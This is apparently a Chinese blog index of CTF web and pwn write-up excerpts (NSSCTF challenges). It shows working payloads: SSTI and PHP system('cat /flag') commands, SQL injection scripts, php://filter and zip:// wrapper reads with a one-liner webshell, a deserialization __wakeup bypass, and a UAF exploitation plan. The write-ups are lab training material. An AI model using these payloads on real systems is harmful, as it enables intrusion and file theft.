Web入门-Python相关
Web入门-Python相关做题[NISACTF 2022]babyuploadFlask题,os.path.join有个漏洞,当某个参数以“/”开头时,前面的参数一律忽略,然后从该参数后面认为是根目录下路径。
上传文件“/flag”,即服务端错误地读取根目录下的“flag”文件。
[LitCTF 2023]Flag点击就送!用Wappalyzer看看,发现为Flask:
1234from Wappalyzer import Wappalyzer,WebPagewappalyzer=Wappalyzer.latest()webpage=WebPage.new_from_url('http://node4.anna.nssctf.cn:28500/flag')print(wappalyzer.analyze(webpage))
看到HTTP请求头Cookie中有个Session,疑似Session伪造。
Flask的Session信息是存贮在客户端的,所以Flask通过一个secret_key防止Session被篡改的。
使用flask_sess ...
Web入门-SSTI模板注入攻击
Web入门-SSTI模板注入攻击做题[CISCN 2019华东南]Web11看到下方提示Smarty,即想到PHP的SSTI模板注入攻击。
右上角Current IP:后内容怀疑使用模板,内容来源于XFF请求头。
尝试修改请求头:
1X-Forwarded-For: {4*4}
看到回显16,确凿了,直接PHP执行:
1{system("cat /flag")}
[NISACTF 2022]midlevel重题。
[HDCTF 2023]SearchMaster1data={system("cat /flag_13_searchmaster")}
[HNCTF 2022 WEEK2]ez_SSTI一般SSTI参数先猜name,果然有,找到类_frozen_importlib_external.FileLoader的位置:
1http://node5.anna.nssctf.cn:28392/?name={{"".__class__.__bas ...
Web入门-JavaScript相关
Web入门-JavaScript相关做题[LitCTF 2023]1zjsJsFuck,在这里解密:http://codertab.com/JsUnFuck
[GDOUCTF 2023]hate eat snake找到alert函数,F12在控制台输入以下依赖函数:
1function _0x2615(){var _0x30b7fe=['C2vHCMnO','Dg9tDhjPBMC','DuLywKG','BgvUz3rO','CMv0DxjUicHMDq','y29UC29Szq','Aw5MBW','CM4GDgHPCYiPka','yvz6uuW','otuYnZiWwxDjwwHS','kcGOlISPkYKRkq','y29UC3rYDwn0BW','AZnYx2GWCgvFDa','ELvTAfO& ...
Web入门-SQL注入小结
Web入门-SQL注入小结做题[suctf 2019]EasySQL这题挺抽象的,正确解法是根据一段一段“Array([?]=>?)”的格式猜出有运算符“||”,然后改sql_mode使其成为字符串拼接运算符。
实际上这个后台语句为:
1select $post['query']||flag from Flag
exp:
1234import requestspayload1={'query':'1;set sql_mode=PIPES_AS_CONCAT;select 1'}response1=requests.post('http://node4.anna.nssctf.cn:28128/',data=payload1)print(response1.text[-47:-2])
注意最后一个“1”不能换成字母,否则就和字符串“flag”拼接起来了,在这里是分别查询“1”和“flag”值的意思。
[SWPUCTF 2021 新生赛]erro1sqlmap -u ht ...
Web入门-PHP伪协议
Web入门-PHP伪协议基础知识zip伪协议新建zip压缩文件并改名为xxxx.png,其中包含PHP一句话木马1.php,于是上传:
1?fp=zip://uploads/xxxx.png%231
其中%23为井号,后面1会补全为1.php。
做题[SWPUCTF 2021 新生赛]PseudoProtocolshint.php读取方法:
1?wllm=php://filter/read=convert.base64-encode/resource=hint.php
以文件形式读取:
1?a=data://text/plain,I want flag
exp:
12345678import requests,base64response1=requests.get('http://node4.anna.nssctf.cn:28518/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php')tmp1=response1.text[-56:]tmp2=base64.b64 ...
Web入门-入门泛做题
Web入门-入门泛做题[LitCTF 2023]我Flag呢?略。
[LitCTF 2023]PHP是世界上最好的语言!!123456789101112from selenium import webdriverimport timebrowser=webdriver.Edge()browser.get('http://node5.anna.nssctf.cn:28327/')elem1=browser.find_element_by_id('php_code');elem1.send_keys("<?phpsystem(\"cat ../../../flag\");?>")elem2=browser.find_element_by_id('run');elem2.click()time.sleep(1)elem3=browser.find_element_by_id('run_result');print(elem3.text[-44:]);browse ...
Web入门-PHP反序列化漏洞
Web入门-PHP反序列化漏洞[SWPUCTF 2021 新生赛]no_wakeup反序列化时触发__wakeup函数,考虑绕开。
12345$aa = new HaHaHa();$aa->admin = "admin";$aa->passwd = "wllm";$stus = serialize($aa);print_r($stus); //O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
CVE-2016-7124:当参数列表中成员个数与实际不符时绕过__wakeup函数,构造:
1O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
...
PWN入门-整数溢出
PWN入门-整数溢出基础知识宽度溢出&整形提升12345678910111213141516171819#include <cstdio>void main(void){ int l=0xabcddcba; short s=l; char c=l; //宽度溢出 printf("l=0x%x(%d bits)\n",l,sizeof(l)*8); printf("s=0x%x(%d bits)\n",s,sizeof(s)*8); printf("c=0x%x(%d bits)\n",c,sizeof(c)*8); //整形提升 printf("s+c=0x%x(%d bits)\n",s+c,sizeof(s+c)*8); return 0;};/* l=0xabcddcba(32 bits) s=0xffffdcba(16 bits) c=0xffffffba(8 bits) s+ ...
PWN入门-UAF
PWN入门-UAF[NISACTF 2022]UAFUAF(Use After Free)。当堆上的一块空间被释放后没有赋值为NULL时,下一次分配还会分配到这一块堆,且数据依然保留。
思路如下:
利用create创建“note 0”,并malloc给.bss段上的page。*(_DWORD *)page处为字符串地址,*((_DWORD *)page+1)处为函数指针。
利用del将page[0]给free掉,但并未赋值为NULL。道理类似于栈,堆顶下移但free掉的数据仍然保留。
漏洞点在show中,但不接受参数0,所以要将序号推到1再进行shellcode写入。
再次create“note 1”,并edit时注入shellcode,这时。在+0偏移处写入4字节(i386架构)“sh\x00\x00”,偏移+4处写入后门NICO地址。
最后show“note 0”时,page[0]依然指向create“note 1”时分配的堆,并在(*((void (__cdecl **)(char *))page + 1))(page);处执行shellcode。
123456789101112 ...
固件安全入门
固件安全入门[HGAME 2023 week1]Help marvinSPI通信协议,拿PulseView打开,新建一条SPI解码器。一共4条线分别为:
SCK时钟信号线,这里管脚选择D0,信号较为密集。
MISO主设备输入/从设备输出引脚,这里缺省。
MOSI主设备输出/从设备输入引脚,这里管脚选择D2,信号较稀松。
Chip Select/CS_N片选信号线,这里管脚选择D1,只有零星的高电位。
16进制导出即可。